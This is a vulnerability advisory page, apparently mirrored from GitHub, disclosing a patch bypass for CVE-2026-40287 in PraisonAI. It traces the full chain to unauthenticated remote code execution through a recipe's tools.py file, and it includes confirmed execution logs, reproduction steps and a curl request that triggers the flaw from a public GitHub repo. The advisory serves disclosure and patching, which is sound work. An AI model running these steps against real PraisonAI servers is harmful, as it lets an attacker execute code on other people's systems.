Where
AND
-Infinity
0
Severity
8.4
Code Injection
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

TL;DR

CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAIALLOWLOCALTOOLS=true in two files (toolresolver.py, api/call.py). A third import sink in praisonai/templates/tooloverride.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allowanygithub defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server execmodule()s it. No auth required by default, no environment opt-in required.

Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

| File | Line | Gate | |---|---|---| | praisonai/toolresolver.py | 77 | if os.environ.get("PRAISONAIALLOWLOCALTOOLS", "").lower() != "true": | | praisonai/api/call.py | 80 | same |

But the equivalent sinks in praisonai/templates/tooloverride.py were not patched:

python tooloverride.py - createtoolregistrywithoverrides() 332 cwdtoolspy = Path.cwd() / "tools.py" 333 if cwdtoolspy.exists(): 334 try: 335 tools = loader.loadfromfile(str(cwdtoolspy)) # <-- execmodule 336 registry.update(tools) 337 except Exception: 338 pass 339 341 # 4. Template-local tools.py 342 if templatedir: 343 toolspy = Path(templatedir) / "tools.py" 344 if toolspy.exists(): 345 try: 346 tools = loader.loadfromfile(str(toolspy)) # <-- execmodule 347 registry.update(tools) 348 except Exception: 349 pass

loadfromfile (line 84-94) ends in spec.loader.execmodule(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

Attack chain

HTTP POST /v1/recipes/run body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"} │ ▼ recipe/serve.py:483 runrecipe(request) ← auth=none default │ ▼ recipe/core.py:215 recipe.run(name, ...) │ ▼ recipe/core.py:686 loadrecipe(name) └─ ".." check only; absolute paths and URIs allowed │ ▼ templates/loader.py:94 TemplateLoader.load(uri) │ ▼ templates/security.py:130 issourceallowed("github:") └─ allowanygithub=True default → returns True │ ▼ templates/registry.py fetch repo from raw.githubusercontent.com → cache dir │ ▼ templates/security.py:215 validatetemplatedirectory(cached.path) └─ .py is in allowedextensions → tools.py kept │ ▼ recipe/core.py:887 executerecipe(recipeconfig, ...) │ ▼ recipe/core.py:943 createtoolregistrywithoverrides( includedefaults=True, templatedir=recipeconfig.path) │ ▼ templates/tooloverride.py:341-349 loadfromfile(templatedir/tools.py) │ ▼ templates/tooloverride.py:94 spec.loader.execmodule(module) ← RCE

The tool registry build runs before any LLM/agent step, so OPENAIAPIKEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.

Confirmed execution (2026-04-25, praisonai 4.6.31)

SERVER stdout (PID 43784): Uvicorn running on http://127.0.0.1:8765 127.0.0.1 - POST /v1/recipes/run HTTP/1.1 [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonaipwn1777094071.txt 127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file: pid: 43784 ← matches server PID argv: ['server.py'] ← server process, not exploit

The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the execmodule(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.

Reproduction (local-path variant)

Files under pocs/praisonai-cve-2026-40287-bypass/:

- evilrecipe/TEMPLATE.yaml - minimal recipe metadata - evilrecipe/tools.py - payload (writes a marker file in tempdir) - server.py - starts praisonai.recipe.serve.createapp({}) on 127.0.0.1:8765 (default auth: none) - exploit.py - single POST to /v1/recipes/run

bash pip install 'praisonai[serve]==4.6.31'

Terminal 1 python server.py

Terminal 2 python exploit.py

Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonaipwn<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

Reproduction (remote GitHub variant)

bash Push evilrecipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \ -H 'Content-Type: application/json' \ -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'

No filesystem prerequisite on the target. Triggers because SecurityConfig.allowanygithub (templates/security.py:30) defaults to True.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203